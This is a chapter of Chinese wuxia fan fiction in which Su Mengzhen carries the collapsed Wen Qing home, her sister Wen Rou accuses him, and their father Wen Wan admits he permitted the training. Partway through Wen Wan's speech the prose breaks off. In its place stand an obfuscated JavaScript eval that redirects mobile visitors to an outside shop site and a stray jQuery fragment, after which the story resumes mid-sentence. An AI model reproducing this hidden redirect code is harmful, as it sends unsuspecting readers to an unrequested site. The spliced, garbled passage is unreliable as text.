苏梦枕知道温情已经悟了最后一招,他没想去打扰温情,可又不能眼睁睁看着温情淋雨,那样病弱的身体,经受不住这场雨。但是他别无他法,于是不顾杨无邪的劝告,只是站在雨中看着温情。眼见温情晕倒还吐血,苏梦枕赶紧将温情打横抱起,吩咐杨无邪一句“快去通知温大人”,运起轻功就往温情院子里飞去。
婵娟这会儿正在替温情收拾库房,听外头说苏梦枕抱着温情回来,赶忙迎了出去,见温情嘴角鲜血还在往外溢,领口已经被染成了殷红色,出去时还好好的人现在昏迷不醒,顿时吓得魂飞魄散,她急忙接过温情,喊院子里的小丫鬟给管家温林传话,速速去请赖药儿来给温情诊治,去把上值的大人请回来。
苏梦枕是外男,本不该入温情的院子,但温家本就出身江湖,不讲究这些繁文缛节,院子里另一个大丫鬟忍冬吩咐人给苏梦枕上茶,接着就一脸焦急地回里屋给婵娟打下手去了,苏梦枕神色晦暗,他脑海里还浮现着温情挥舞刀剑的模样,那样阴柔凄美的刀法剑招,比之师父红袖神尼的刀法也毫不逊色,可就是这样的天才,却比自己更加赢弱。
天意弄人。
苏梦枕看着那盏茶从热气氤氲到完全冷掉,温晚这才急匆匆进了温情的屋里,弹进门时还踉跄了半步,被身后的管家扶了一把,赖药儿自入了里屋去替温情诊治。
杨无邪和温晚一同进屋,他看着自家少主神色恍惚,刚刚淋雨的湿衣服却还没换下,这会子脸色苍白如纸,还在止不住地咳嗽,大惊道:“少主!你怎的还没换衣服!快随我回房洗个澡,热热身子!”
苏梦枕咳了两声,摆摆手,见杨无邪还要劝,苏梦枕道:“无邪,现在温小姐要紧。”
忍冬才退了出来,她整个人简直三魂丢了七魄,正神思不属着,转头发现小几的茶居然早冷了,懊恼着要给苏梦枕换茶,苏梦枕道:“不必多礼。”
温柔却大喊着跑进了院子里,她风风火火地进了屋,发髻散了半边,裙角沾着泥,显然是跌过一跤。
忍冬见温柔风风火火地进了屋,喊着“姐姐”还要往里屋闯,急忙拦住她:“哎哟我的二小姐啊!快快安静下来吧!这会子赖神医还在给大小姐问诊呢!”
温柔这才停止叫喊,可她实在坐不下来,急躁地在房里走来走去,转头看着苏梦枕还坐着,这才想起来自己不知道姐姐昏迷前发生了什么,只顾着赶往姐姐这了,于是问道:“苏师兄,我姐姐到底怎么了!?”
“师兄……”温柔突然顿住,像是想明白了什么东西,“姐姐为什么会在你院子里晕倒?你们不是在论道吗?难道姐姐她……”
苏梦枕张了张嘴,他不想说谎,可也不知道该怎么开口,最终他沉默了片刻,才低声说:“……她在练功。”
温柔愣了一下:“练什么功?”
“上次温小姐给你的信里提到的武功,”苏梦枕的声音沙哑,“那套刀剑双杀的武功,她在我院里练武,最后一招练成后,温小姐就吐血晕倒了。”
“可是姐姐不能练武啊!”温柔激动地质问他,“师兄,是你教姐姐的?”
苏梦枕没有否认:“她看我练刀,自己悟出来的。我没有亲手教她招式,但我——”
“那就是你!”温柔的声音开始发颤,眼泪珠子似的往下落:“你为什么要这样做?”她像只炸毛的猫,眼眶发红,那双眼睛直直地逼视着苏梦枕。
“师兄,告诉我!”温柔喊他,“你为什么要这样做?”
“你明知道我姐姐身体不好,你明知道她本就寿元有损……”温柔往前走了一步,声音哽咽,“那天她练剑后晕倒你也在场,你也看见了的!”
苏梦枕沉默着,看着面前这个平日总是笑嘻嘻地跟在他身后喊“苏师兄”的小师妹,此刻像只被侵犯领地的小兽,浑身的毛都竖起来,声音尖利又脆弱。
温柔的声音陡然拔高,带着哭腔,又带着一股压抑不住的愤怒:“大夫说她不能跑不能跳连笑太大声都不行,你为什么让她练功?”
她用力咬了一下嘴唇,试图把那声哭嗝咽回去,再开口的时候带了一种近乎恨恨的委屈:“她是我的姐姐,从小到大和我最亲密的人,姐姐从来不这样的!她从来不瞒我的……可现在,她练功都不告诉我……”
温柔说不下去了,她捂住嘴,喉咙里发出闷闷的呜咽声,肩膀剧烈地抖起来,苏梦枕往前迈了一步,想要安抚她,可温柔猛地后退了半步,那双蓄满泪的眼睛直直地盯着他,像要从他脸上找出什么答案来。
二人僵持不下,杨无邪见状,开口为苏梦枕解释:“温柔小姐,我家公子是劝过温情小姐的,但是温情小姐她……”
苏梦枕立马道:“无邪,不要多言!”杨无邪着急地看了眼生气的温柔,最后还是没再开口。
小师妹还在瞪他,苏梦枕垂着眼,沉默半晌却只说了一句:“……是我不好。”
温柔的眼泪簌簌往下落,她气得浑身都在抖,攥紧的拳头微微发白:“你不好?你当然不好!你为什么不拦着姐姐?她那么瘦弱,你为什么要瞒着我让她在你院子里练武,你为什么不告诉我——”
“柔儿,住口!”温晚出来就看见屋里两个孩子在对峙,目光在苏梦枕低垂的眉眼上停了一瞬,又落在温柔通红的眼眶上。
“爹!”温柔扭过头,声音里又带上了哭腔,“他让姐姐——”
“我知道。”温晚短短一句话让空气瞬间静了下来。
屋里的下人早就在二人吵起来的时候悄悄退了出去,只剩忍冬在屋里随时准备主持大局,温晚拉过温柔,弯下腰替她把眼泪擦干。
“情儿练功这件事,是我允的。”
温柔愣住了,她仰头看着温晚,眼泪还挂在睫毛上,整个人茫然极了,连抽噎都停了。
“爹……你说什么?”
温晚直起身,他沉默了良久,才开口:“此事是我之过。情儿想练武与梦枕争个高下,这事我知道,她这段时间练武,整个人看上去活泼不少。这么多年来情儿身子弱,少有出门的机会,除你之外,这么多年情儿只随云一个好友,我见梦枕与情儿二人颇为契合,便想着二人若是能以武会友,便也算得上是件妙事。”
“更何况情儿性格倔,她偷着看武功,日日演练剑招,我不忍心,她便以为我不知道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926162|213533||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
越发大胆起来,”温晚语气平和,可尾音带着丝涩意,“我不说,是因为说了也没用。你姐姐那个性子,越拦她越要做。她偷偷练剑练到晕过去那天,我就知道拦不住了。”
他看了苏梦枕一眼,歉然道:“我原先写信给你师父,暗叹情儿天赋,她当时来府上看过情儿,就曾对我说‘情儿想看什么就让她看,想琢磨什么就让她琢磨。’”
“‘她这辈子注定不能亲自站在江湖上,但至少,让她自己试试走那条路。’”
温晚垂眼,看着自己的小女儿。温柔张了张嘴,说不出话来,她的眼泪又落下来。
“可我万万没想到情儿天赋居然如此之高。”
温柔眼泪决堤般往下淌,哭得不能自已,呜咽着说:“但是姐姐都吐血了……”
温晚轻轻拍了拍女儿的头顶,“所以我后悔了。”
温晚把她揽进怀里,小姑娘埋在她爹胸口放声大哭,边哭边断断续续地问:“呜呜呜……爹爹、姐姐现在怎么样了?她、她还好吗?”
“柔儿,不用担心,你姐姐她现在已经稳定下来了,”温晚见温柔哭得伤心,有意逗她开心:“倒是你,哭得这样厉害,衣服也脏得和小花猫一样,等你姐姐醒来,不知道要怎么笑话你呢!”
温柔吸了吸鼻子,抽噎道:“姐姐、才、才不会笑话我呢!”
忍冬见状,立马道:“奴婢这就带二小姐去换衣服。”
温晚没有再说什么,准备回房去看顾温情,走到门口时他这才发现苏梦枕身上居然有湿痕,想起是他送温情回来,于是道:“梦枕,快回屋里洗个热澡,换身衣服吧。”
苏梦枕作揖:“伯父,不打紧。”
里屋的门合上,等苏梦枕、温柔二人洗漱换衣来看温情,已是晚上。温晚还在里屋守着温情,温柔低着头站在门外,过了很久,才极轻地说了一句:“师兄……对不起。”
苏梦枕看着她缩在月光照不到的暗处,整个人神情恹恹,跟打了霜的茄子一样,心下复杂。
“你不用说对不起。”他开口,嗓子哑得厉害。
温柔没有转身,只是肩膀轻轻抖了一下。她说:“我没有怪你。我就是……就是怕。”
温柔也说不清是怕什么。
或许是怕姐姐撑不住。
或许是怕她姐姐偷偷练功不告诉她,觉得她这个妹妹不可靠。
从小到大什么都跟她说的姐姐,第一次瞒了她这么大一件事。
姐姐,到底是为什么要瞒着我呢?
温柔有些迷茫,苏师兄虽然好,却没有到温柔愿意分享姐姐的地步。
苏梦枕走过去,他没有再说话,只是安静地陪着小师妹等在门外,思绪却忍不住飘回那日使激将法让温情去他院子里看红袖刀法的时候。
他很难说清楚他当时究竟是怀着什么样的心情。
惋惜?激动?不甘?
苏梦枕不知道。
他还记得温情当时跃跃欲试的脸,当时自己在想什么呢?
哦,想起来了。
苏梦枕当时想的是,多亏小师妹经常念叨她姐姐,他才能让温情上钩。